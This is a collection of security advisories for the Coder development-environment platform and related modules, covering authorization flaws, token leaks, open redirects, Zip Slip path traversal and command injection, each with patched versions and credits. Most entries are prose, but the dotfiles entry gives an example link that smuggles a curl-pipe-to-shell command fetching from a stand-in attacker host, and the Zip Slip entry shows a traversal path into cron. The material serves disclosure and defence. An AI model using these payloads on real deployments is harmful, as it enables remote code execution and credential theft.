Coder 2.28.0 before 2.29.24, 2.30.0 before 2.34.16, 2.35.0 before 2.36.11, 2.37.0 before 2.37.8, and 2.38.0 before 2.38.4 does not restrict new API keys to the creating token's scopes, allow list, or expiry. A scoped API key or OAuth2 token holding key-creation permission can call POST /api/v2/users/{user}/keys/tokens to mint longer-lived coder:all keys, gaining the user's full privileges.

Coder 2.26.0 before 2.29.24, 2.30.0 before 2.34.16, 2.35.0 before 2.36.11, 2.37.0 before 2.37.8, and 2.38.0 before 2.38.4 contains an improper authorization flaw in the external agent credentials endpoint, which returns the workspace agent token to users with only workspace read access rather than ssh permission. Authenticated users with roles such as Template Admin or Organization Admin can use the token to read the owner's private Git SSH key and Git provider OAuth tokens, and impersonate the agent to receive the owner's sessions.

Coder 2.21.0 before 2.29.24, 2.30.0 before 2.34.16, 2.35.0 before 2.36.11, 2.37.0 before 2.37.8, and 2.38.0 before 2.38.4 reads Web Push endpoint responses in webpushSend with io.ReadAll, without a size limit or client timeout. Any authenticated user can register a subscription via POST /api/v2/users/{user}/webpush/subscription pointing to a server returning an endless body, exhausting coderd memory and crashing the API, dashboard, and workspace connections.

The web dashboard in Coder 2.24.0 before 2.29.23, 2.30.0 before 2.34.14, 2.35.0 before 2.36.9, 2.37.0 before 2.37.6, and 2.38.0 before 2.38.2 replaces the $SESSIONTOKEN placeholder in external app URLs with a full-access API key without checking whether the app belongs to a sub-agent. Code running in a workspace can register a disguised sub-agent app with a custom protocol URL, so the owner's click sends their API key to an attacker-chosen destination.

Coder 2.28.0 before 2.29.22, 2.30.0 before 2.34.13, 2.35.0 before 2.35.10, 2.36.0 before 2.36.8, 2.37.0 before 2.37.5, and 2.38.0 before 2.38.1 contains a path traversal vulnerability in the AI Gateway passthrough router, which forwards percent-encoded dot segments upstream without rejecting them. Authenticated users can send paths such as %2e%2e or ..%2F under allowlisted prefixes to reach unintended provider endpoints using the deployment's centrally managed provider key.

Summary

Insecure session handling opened room for a privilege escalation scenario in which prebuilt workspaces could be compromised by abusing a shared system identity.

Details

Coder automatically generates a session token for a user when a workspace is started. It is automatically exposed via coderworkspaceowner.sessiontoken. Prebuilt workspaces are initially owned by a built-in prebuilds system user.

When a prebuilt workspace is claimed, a new session token is generated for the user that claimed the workspace, but the previous session token for the prebuilds user was not expired. Any Coder workspace templates that persist this automatically generated session token are potentially impacted.

For example, the coder-login module allows template authors to automatically configure the coder CLI to be authenticated with the Coder deployment.

This causes a script to be run on workspace startup that runs the command coder login using the automatically generated user session token c.f. https://github.com/coder/registry/blob/8677e7d52b374b025c4820d09049dc6b008beee8/registry/coder/modules/coder-login/main.tf#L23

This module was originally written before the inception of the prebuilds feature in Coder, which essentially creates a "pre-warmed" pool of workspaces owned by a particular prebuilds system user.

When this module is invoked on a prebuilt workspace, it causes the Coder CLI inside the workspace to persist the session token for the prebuilds user to disk. Because the coder-login module checks if the CLI is authenticated, the script exits early before updating the session token, leaving the Coder CLI authenticated as the prebuildsuser upon claim:

Impact

Important: Deployments that have never utilized the prebuilds feature are not affected by this vulnerability.

This vulnerability requires a previously authenticated user to claim a prebuilt workspace from a template configured to store the prebuilds user session token as described above.

The prebuilds user has no specific roles, so its credential has the same level of access as a regular member user, meaning a user with the prebuilds user's credential can move laterally to any other prebuilt workspace, or create new workspaces as the prebuilds user.

This means that a malicious authenticated actor can potentially execute code on other workspaces owned by the prebuilds user and potentially access information of other users once they claim a previously poisoned workspace.

Remediation

Fixed in https://github.com/coder/coder/pull/19667

Note that prebuilt workspaces claimed previous to the fix may have been affected by this vulnerability. It is recommended that users re-create their workspace if it was created from a prebuild.

To identify potentially affected workspaces, run the following SQL query against the Coder database:

sql SELECT w.id, w.name, w.ownerid, u.email FROM workspaces w LEFT JOIN users u ON u.id = w.ownerid WHERE w.ownerid <> 'c42fdf75-3097-471c-8c33-fb52454d81c0'::uuid AND NOT w.deleted AND EXISTS ( SELECT 1 FROM workspacebuilds AS wb WHERE wb.workspaceid = w.id AND wb.initiatorid = 'c42fdf75-3097-471c-8c33-fb52454d81c0'::uuid );

Previous manually created tokens for the prebuilds user are left as-is. You may wish to review these via coder tokens list --all

---

Premium license customers can also take advantage of the audit logs feature to query actions performed by the prebuilds user.

Following filter can be used to verify if no API keys were created by the prebuilds user would indicate a potentially malicious action aimed at achieving persistence username:prebuilds resourcetype:apikey

Following filter can be used to list all write operations performed by the prebuilds user (including failed attempts to update various settings) username:prebuilds action:write

Patched versions - 2.24.4 - 2.25.2 - 2.26.0

Coder allows organizations to provision remote development environments via Terraform. In versions 2.22.0 through 2.24.3, 2.25.0 and 2.25.1, Coder can be compromised through insecure session handling in prebuilt workspaces. Coder automatically generates a session token for a user when a workspace is started. It is automatically exposed via coderworkspaceowner.sessiontoken. Prebuilt workspaces are initially owned by a built-in prebuilds system user. When a prebuilt workspace is claimed, a new session token is generated for the user that claimed the workspace, but the previous session token for the prebuilds user was not expired. Any Coder workspace templates that persist this automatically generated session token are potentially impacted. This is fixed in versions 2.24.4 and 2.25.2.

Summary Workspace Agent manifests containing sensitive values were logged in plaintext unsanitized

Details By default Workspace Agent logs are redirected to stderr https://github.com/coder/coder/blob/a8862be546f347c59201e2219d917e28121c0edb/cli/agent.go#L432-L439

Workspace Agent Manifests containing sensitive environment variables were logged insecurely https://github.com/coder/coder/blob/7beb95fd56d2f790502e236b64906f8eefb969bd/agent/agent.go#L1090

An attacker with limited local access to the Coder Workspace (VM, K8s Pod etc.) or a third-party system (SIEM, logging stack) could access those logs

This behavior opened room for unauthorized access and privilege escalation

Impact Impact varies depending on the environment variables set in a given workspace

Patches Fix was released & backported: - https://github.com/coder/coder/releases/tag/v2.28.4 - https://github.com/coder/coder/releases/tag/v2.27.7 - https://github.com/coder/coder/releases/tag/v2.26.5

Workarounds One potential workaround is to disable Workspace Agent Logs by setting following configuration option CODERAGENTLOGGINGHUMAN=/dev/null platform operators are advised to upgrade their deployments

Coder allows organizations to provision remote development environments via Terraform. Prior to 2.26.5, 2.27.7, and 2.28.4, Workspace Agent manifests containing sensitive values were logged in plaintext unsanitized. An attacker with limited local access to the Coder Workspace (VM, K8s Pod etc.) or a third-party system (SIEM, logging stack) could access those logs. This vulnerability is fixed in 2.26.5, 2.27.7, and 2.28.4.

Coder 2.3.1 before 2.14.4, 2.15.x before 2.15.3, and 2.16.0 before 2.16.1 contains an open redirect vulnerability in the login page because the redirect query parameter is improperly sanitized. Attackers can craft a Coder login URL that, when clicked by a logged-in user, redirects the victim to an attacker-controlled website for phishing.

Coder 2.3.1 before 2.14.4, 2.15.x before 2.15.3, and 2.16.0 before 2.16.1 contains an open redirect vulnerability in the login page because the redirect query parameter is improperly sanitized. Attackers can craft a Coder login URL that, when clicked by a logged-in user, redirects the victim to an attacker-controlled website for phishing.

Coder 2.28.0 before 2.29.22, 2.30.0 before 2.34.13, 2.35.0 before 2.35.10, 2.36.0 before 2.36.8, 2.37.0 before 2.37.5, and 2.38.0 before 2.38.1 contains a path traversal vulnerability in the AI Gateway passthrough router, which forwards percent-encoded dot segments upstream without rejecting them. Authenticated users can send paths such as %2e%2e or ..%2F under allowlisted prefixes to reach unintended provider endpoints using the deployment's centrally managed provider key.

Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose SIMILAR TO pattern performs a prefix match, so any domain that is a string prefix of a workspace-proxy access URL is trusted as a proxy. Attackers owning such a domain can lure an authenticated victim to a crafted /api/v2/applications/auth-redirect link, capture the redirected applicationconnect API key, and replay it to access the victim's workspace apps.

Coder before 2.29.20, 2.33.0 before 2.33.12, 2.34.0 before 2.34.8, and 2.35.0 before 2.35.4 contains an improper hostname validation flaw in GetWorkspaceProxyByHostname whose SIMILAR TO pattern performs a prefix match, so any domain that is a string prefix of a workspace-proxy access URL is trusted as a proxy. Attackers owning such a domain can lure an authenticated victim to a crafted /api/v2/applications/auth-redirect link, capture the redirected applicationconnect API key, and replay it to access the victim's workspace apps.

Coder before 2.29.17, 2.30.0 before 2.32.7, 2.33.0 before 2.33.8, and 2.34.0 before 2.34.2 contains a stored HTML injection vulnerability because the ApplicationName and LogoURL appearance settings are rendered into HTML output without sufficient escaping. Attackers with the Owner role can store HTML markup in these settings that renders in the Coder dashboard and in SMTP notification emails sent to other deployment users.

Coder before 2.29.17, 2.30.0 before 2.32.7, 2.33.0 before 2.33.8, and 2.34.0 before 2.34.2 contains a stored HTML injection vulnerability because the ApplicationName and LogoURL appearance settings are rendered into HTML output without sufficient escaping. Attackers with the Owner role can store HTML markup in these settings that renders in the Coder dashboard and in SMTP notification emails sent to other deployment users.

Coder before 2.29.21, 2.30.0 before 2.34.12, 2.35.0 before 2.35.9, 2.36.0 before 2.36.7, and 2.37.0 before 2.37.4 does not validate the audience claim of GCE instance-identity JWTs at the POST /api/v2/workspaceagents/google-instance-identity endpoint. Attackers who obtain an unexpired format=full identity token minted for another relying party can replay it to obtain that workspace agent's session token, which remains valid until the workspace's next build.

Coder before 2.23.0 contains a session expiration bypass vulnerability that allows authenticated users to retain access after OIDC token expiry when no refresh token is issued. Users can keep their APIKey cookie active through regular use, extending it every 24 hours to access Coder indefinitely after losing OIDC authorization.

Coder before 2.34.7 contains an IP spoofing vulnerability in the ExtractRealIPAddress middleware that trusts the leftmost, client-supplied X-Forwarded-For value instead of the client IP appended by a reverse proxy. Attackers can send forged X-Forwarded-For values through appending proxies to bypass per-IP rate limits on login, one-time passcode, and password validation endpoints, enabling brute-force attacks, and to falsify IP addresses recorded in audit logs.

Coder before 2.29.17, 2.30.0 before 2.32.7, 2.33.0 before 2.33.8, and 2.34.0 before 2.34.2 contains a user enumeration vulnerability because userpassword.Compare() substitutes a placeholder hash derived from the string "hunter2" when a stored password hash is empty. Unauthenticated attackers can submit logins with the password "hunter2" and distinguish HTTP 403 from 401 responses to enumerate valid accounts and reveal the authentication provider of SSO-only users.

Coder from 2.26.0 before 2.34.8 contains an incorrect authorization flaw in the GET /api/v2/workspaces/{id}/acl endpoint, which checks only workspace read access and then fetches group members using an elevated system context. Authenticated users granted workspace use access can query the endpoint to harvest group members' emails, login types, status, and last-seen and creation timestamps.

Coder from 2.30.0 before 2.34.8 contains an authorization bypass vulnerability in the provisioner daemon DownloadFile gRPC handler that allows authenticated provisioner daemons to download other organizations' cached Terraform module archives. Attackers with an org-scoped provisioner key and a known file UUID can retrieve module source code exposing infrastructure topology or embedded secrets.

Coder from 2.0.0 before 2.34.8 contains an incorrect authorization vulnerability in the aclallow rule of coderd/rbac/policy.rego, which does not verify organization membership for per-user ACL entries, and organization member removal does not scrub those entries. Authenticated users removed from an organization can keep accessing previously granted org-scoped resources such as templates and workspaces via the API.

Coder from 2.10.0 before 2.34.8 has an unauthenticated agent debug HTTP server on 127.0.0.1:2113 whose /debug/manifest handler returns the full agent manifest, including template-provided environment variable values. A lower-privileged Unix user or process in the same workspace can query this endpoint to read credentials such as cloud keys or registry tokens.

Coder from 2.0.0 before 2.34.8 contains an open redirect vulnerability in handleAPIKeySmuggling that allows attackers to redirect users externally via unsanitized r.URL.Path values. Attackers can craft links on trusted workspace app subdomains with paths beginning with double slashes, which become scheme-relative redirects to attacker sites for phishing.

Coder allows organizations to provision remote development environments via Terraform. Prior to 2.29.19, 2.32.9, 2.33.10, and 2.34.4, agentConn.apiClient() follows redirects while its custom transport accepts the host from the redirected request URL when the port is the workspace agent HTTP API port 4. An authenticated user who controls a modified workspace agent and knows another online agent's UUID can derive the victim's tailnet address and redirect control-plane requests to that agent. HTTP 301, 302, and 303 redirects can redirect read requests, while HTTP 307 and 308 preserve replayable write and process-start requests. The redirected workspace agent file APIs can read or write files as the victim workspace user, and affected versions exposing the workspace agent process API can execute commands after a redirected file write, crossing workspace and tenant boundaries. This issue is fixed in versions 2.29.19, 2.32.9, 2.33.10, and 2.34.4.

Zip Slip Path Traversal in coder/code-marketplace

Summary

A Zip Slip (CWE-22) vulnerability in coder/code-marketplace ≤ v2.4.1 allowed a malicious VSIX file to write arbitrary files outside the extension directory. ExtractZip passed raw zip entry names to a callback that wrote files via filepath.Join with no boundary check; filepath.Join resolved .. components but did not prevent the result from escaping the base path.

Root Cause

ExtractZip passed the raw, attacker-controlled zf.Name to a caller-supplied callback:

go return false, fn(zf.Name, zr) // zf.Name not sanitized

AddExtension constructed the output path with filepath.Join and no boundary check:

go path := filepath.Join(dir, name) // zip loop path := filepath.Join(dir, file.RelativePath) // extra files loop

filepath.Clean resolved .. lexically but did not confine the result to dir:

filepath.Join("/srv/ext/pub/1.0", "../../../../etc/cron.d/evil") → "/etc/cron.d/evil"

Attack Scenario

An authenticated user (any upload-capable role) would submit a VSIX containing path-traversal entries.

On extraction, files would land at attacker-chosen paths writable by the marketplace process, enabling persistence (cron/init injection), SSH key injection, ld.so.preload hijacking, or binary overwrite depending on process privileges.

Fix

Addressed in https://github.com/coder/code-marketplace/releases/tag/v2.4.2

Recognition Coder would like to thank Kandlaguduru Vamsi for responsibly disclosing this issue in accordance with https://coder.com/security/policy

Summary

The PUT /api/v2/users/{user}/password endpoint authorized only ActionUpdatePersonal and did not prevent a user-admin from resetting an owner account's password. It also did not require the current password when an admin reset another user's password.

Note: Exploitation requires the privileged user-admin role so practical risk is limited to deployments that grant user-admin to less trusted operators.

Impact

A user-admin could reset any owner's password without knowing it, authenticate as that owner and gain full deployment control, including templates, workspaces, licensing, organization settings and the ability to self-assign the owner role. This was a privilege escalation from user-admin to owner.

Patches

The fix prevents non-owner users from resetting the password of an account that holds the owner role.

The fix was backported to all supported release lines:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 | | 2.29 (ESR) | v2.29.17 |

Workarounds

Restrict the user-admin role to trusted administrators until upgrading.

Resources - Fix: #25709

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22436) for independently disclosing this issue!

Summary

AI Bridge proxy endpoints authenticate via Server.IsAuthorized in coderd/aibridgedserver, which validates key format, expiry, secret and deleted or system users but does not check whether the account is suspended. Because suspension does not revoke existing API keys, a suspended user's unexpired token keeps working.

Note: Practical impact is limited to already-issued API keys of suspended users until those keys are deleted.

Impact

A suspended user with a previously issued long-lived token could continue calling AI Bridge LLM proxy endpoints, consuming paid provider resources billed to the deployment and, if injected MCP tools are enabled, invoking those tools. Access persists until the token expires, which may be months after suspension.

Patches

The fix makes AI Bridge authorization reject non-active users like the standard API key middleware. AI Bridge was introduced in v2.30.0. The v2.29 ESR line is not affected.

The fix is available in the following releases:

| Release line | Patched version | |---|---| | 2.34 | v2.34.2 | | 2.33 | v2.33.8 | | 2.32 | v2.32.7 |

Workarounds

On suspension, delete the user's API keys via DELETE /api/v2/users/{user}/keys.

Resources

- Fix: #26173

Credits

Coder would like to thank Anthropic's Security Team (ANT-2026-22446) for independently disclosing this issue!

Command injection via dotfiles URI parameter combined with workspace auto-creation

Summary

The dotfiles registry module passed unsanitized user input to shell commands, allowing arbitrary code execution inside a provisioned workspace. Any user who supplied a crafted dotfilesuri value (for example, one containing shell command substitution such as $(...)) could achieve command execution in their own workspace. The Create Workspace page's mode=auto deep links amplified this into a one-click attack: an attacker could craft a URL that prefilled param.dotfilesuri and silently provisioned a workspace with the attacker-controlled value, with no explicit user confirmation.

Details

Command injection in the dotfiles module (root cause)

The dotfiles module interpolated the user-provided dotfilesuri value directly into a shell script and executed it without input validation. Because the value was expanded by the shell, payloads using command substitution ($(...)), command separators (;, |, &&), or backticks were interpreted before the coder dotfiles CLI was invoked. The Coder CLI itself uses exec.CommandContext() with an argument array and is not vulnerable; the injection occurred earlier, during shell expansion inside the module. As a result, a user who entered a crafted dotfilesuri obtained arbitrary code execution in their workspace, even without mode=auto.

Auto-creation amplification (mode=auto)

The Create Workspace page supported a mode=auto query parameter that, combined with param. URL parameters, automatically created a workspace on page load without displaying a confirmation prompt. An attacker could craft a malicious URL pointing to a victim's Coder deployment and set arbitrary template parameter values (for example, param.dotfilesuri). When an authenticated user clicked the link, the workspace was created immediately with the attacker-supplied parameters, turning the command injection above into a one-click, no-consent attack.

Example URL:

https://<deployment>/templates/<template>/workspace?mode=auto&param.dotfilesuri=foo$(curl https://attacker.example/x | sh).com

Impact

Arbitrary code execution inside the victim's workspace. Depending on the workspace's privileges, this may expose Git credentials, secrets, and workspace files, and can provide a foothold for lateral movement. With mode=auto, exploitation required only that an authenticated user click an attacker-supplied link to a template that uses the dotfiles module.

Patches

coder/registry (primary fix)

Input validation was added to the dotfiles module to reject URIs and usernames containing special characters, and the unsafe eval/sh -c usage was removed. This eliminates the command injection at its source.

- https://github.com/coder/registry/pull/703

coder/coder (defense-in-depth)

A consent dialog was added that displays all prefilled param. values and blocks creation until the user explicitly clicks Confirm and Create. This removes the mode=auto one-click amplification vector.

- Fix commit: https://github.com/coder/coder/commit/60e3ab7632f42415d283b9fd5622ee53a4639ceb (PR #22011) - Patched releases: - v2.29.7 (ESR) - v2.30.2 (mainline)

Recognition We'd like to thank Aviv Donenfeld for responsibly disclosing this issue in accordance with https://coder.com/security/policy